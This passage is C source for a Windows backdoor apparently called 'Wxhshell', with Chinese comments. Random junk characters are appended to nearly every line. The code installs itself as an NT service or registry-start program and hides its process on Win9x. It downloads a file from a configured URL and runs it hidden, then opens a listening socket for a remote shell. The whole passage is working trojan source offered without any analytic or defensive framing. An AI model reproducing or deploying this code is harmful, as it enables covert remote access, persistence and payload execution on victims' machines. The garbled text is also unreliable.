ULONG InheritedFromUniqueProcessId; 82Z[eo
} PROCESS_BASIC_INFORMATION; E,ZB;
Mo/2,DiI5
PROCNTQSIP NtQueryInformationProcess;
"df13U"
N%n1>!X)!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c4qp3B_w
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M'>D[5;N~
\M'bY:
HANDLE hProcess; V{AH\IV-
PROCESS_BASIC_INFORMATION pbi; r0hta)xa
Je4.9?Ch
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |)!k@?_
if(NULL == hInst ) return 0; @kCD.
f!uA$uLc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0T{c:m~QXe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {'=Nb
5F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pdcwq~4~%
CL<KBmW7
if (!NtQueryInformationProcess) return 0; ,XBV }y
jr#g>7yM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c9ov;Bw6S
if(!hProcess) return 0; Q'Q72Fg
q.,p6D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \/x)BE,
6b+ WlIb
CloseHandle(hProcess); Vgru, '
_/z)&0DO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _]?Dt%MkD
if(hProcess==NULL) return 0; @dT: 1s
uz#eO|z@o
HMODULE hMod; ;*37ta
char procName[255]; q _T?G e
unsigned long cbNeeded; {Y@-*pL]
tmY-m,U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .1[2 CjQ
hk lO:,`
CloseHandle(hProcess); nX.s h
z7.C\l
if(strstr(procName,"services")) return 1; // 以服务启动 v{rK_jq
MLv.v&@S
return 0; // 注册表启动 Z,8+@
} vElL.<..
zoJkDr=jn
// 主模块 d6d(?"
int StartWxhshell(LPSTR lpCmdLine) 4-}A'fTU8
{ @L>NN>?SGQ
SOCKET wsl; >gOI]*!5
BOOL val=TRUE; !+|N<`
int port=0; l~Wk07r3
struct sockaddr_in door; GHgEbiY:
Y9co?!J 5M
if(wscfg.ws_autoins) Install(); q:~`7I
}96/:
;:k
port=atoi(lpCmdLine); 2t`9_zqLw
M;vlQ"Yl'
if(port<=0) port=wscfg.ws_port; (HV~ '5D
,TfI
WSADATA data; {,-5k.P[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M:1F@\<
-RqAT 1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nGJIjo_I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :86luLFm
door.sin_family = AF_INET; ZTPOD.:#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M-qxD"VtV=
door.sin_port = htons(port); >s 8:1l
Dxa)7dA|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T.m)c%]^/
closesocket(wsl); I;11j
return 1; D -+)M8bt
} O"s`-OM;n
^* /v,+01f
if(listen(wsl,2) == INVALID_SOCKET) { 3W0E6H"
closesocket(wsl); GT\s!D;<
return 1; 3RH#e1Y
} f{ 4G
Wxhshell(wsl); '*LN)E>d
WSACleanup(); hZ\W ?r
U0bEB
return 0; E[Ws} n.
fF-\TW
} #+ lq7HJ1
j+B5m:ExfI
// 以NT服务方式启动 6quWO2x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5t5S{aCDr
{ v`ZusHJ1d
DWORD status = 0; uI-76
DWORD specificError = 0xfffffff; s3E~X
m)]fJ_
serviceStatus.dwServiceType = SERVICE_WIN32; Mb2 L32
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZEyGqCf3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R#Nd|f<
serviceStatus.dwWin32ExitCode = 0; oQjB&0k4
serviceStatus.dwServiceSpecificExitCode = 0; !wb~A0m
serviceStatus.dwCheckPoint = 0; xdBZ^Q
serviceStatus.dwWaitHint = 0; DEwtP
?VN]0{JSp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (#l_YI
-
if (hServiceStatusHandle==0) return; ]E8<;t)#
6RT0\^X*:
status = GetLastError(); >\oJ&gdc
if (status!=NO_ERROR) {7~ $$AR(
{ IweK!,:>dN
serviceStatus.dwCurrentState = SERVICE_STOPPED; $Ex 9
serviceStatus.dwCheckPoint = 0; zf;[nz
serviceStatus.dwWaitHint = 0; 16> >4U:Y
serviceStatus.dwWin32ExitCode = status; 674oL,
serviceStatus.dwServiceSpecificExitCode = specificError; d|?(c~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a4CNPf<$
return; tDLk ZCP
} Qx,$)|_
*=0r>]
serviceStatus.dwCurrentState = SERVICE_RUNNING; eP)YJe 3
serviceStatus.dwCheckPoint = 0; "%f5ltut3
serviceStatus.dwWaitHint = 0; 6ewOZ,"j"4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a&c#* 9t{
} [11-`v0
1 l*(8!_
// 处理NT服务事件,比如:启动、停止 q{+poVX
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yg,WdVI&@
{ 56
kgL;$h
switch(fdwControl) 1o8"==n%
{ <C96]}/ ?
case SERVICE_CONTROL_STOP: k42ur)pb
serviceStatus.dwWin32ExitCode = 0; N[bf.5T
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?*mbce[
serviceStatus.dwCheckPoint = 0; 6.7Kp
serviceStatus.dwWaitHint = 0; |{LaZXU &
{ XM@i|AK
M0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 898wZ{ 9
} 9-iB?a7{.
return; E!~2\qKT
case SERVICE_CONTROL_PAUSE: `8.32@rUB.
serviceStatus.dwCurrentState = SERVICE_PAUSED; 42LXL*-4
break; j.N\U#3KK
case SERVICE_CONTROL_CONTINUE: GGL4<P7
serviceStatus.dwCurrentState = SERVICE_RUNNING; wfTv<WG,.E
break; ?uX6X'-
case SERVICE_CONTROL_INTERROGATE: U9[A(
break; =bg&CZVT
}; Fx:en|g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tKsM}+fq
} /FV6lR!0^
0#{]!>R
// 标准应用程序主函数 YB1DL^:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1@z@
{ ow$l!8
;AB ,:*
// 获取操作系统版本 O*/-I
pM
OsIsNt=GetOsVer(); GJt9hDM$0
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3N*C]
8lGgp&ey
// 从命令行安装 (Dh;=xG
if(strpbrk(lpCmdLine,"iI")) Install(); S!!\!w>N
W
(c\$2`
// 下载执行文件 ts\>_/
if(wscfg.ws_downexe) { S,9WMti4x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 14YV#o:
WinExec(wscfg.ws_filenam,SW_HIDE); -x\l<\*
} [*ovYpj^
UVmyOC[Y{
if(!OsIsNt) { d?y\~<
// 如果时win9x,隐藏进程并且设置为注册表启动 d#:J\2V"R
HideProc(); B:#0B[
StartWxhshell(lpCmdLine); 2|>wY%
} yx;R#8;b.
else @%G"i:HZ&
if(StartFromService()) ]JPPL4wAT
// 以服务方式启动 uWtS83i
StartServiceCtrlDispatcher(DispatchTable); 2pNJWYW"
else )bU")
// 普通方式启动 fvMhq:Bu
StartWxhshell(lpCmdLine); KP-z
IeI%X\G
return 0; NWwtq&pz2
}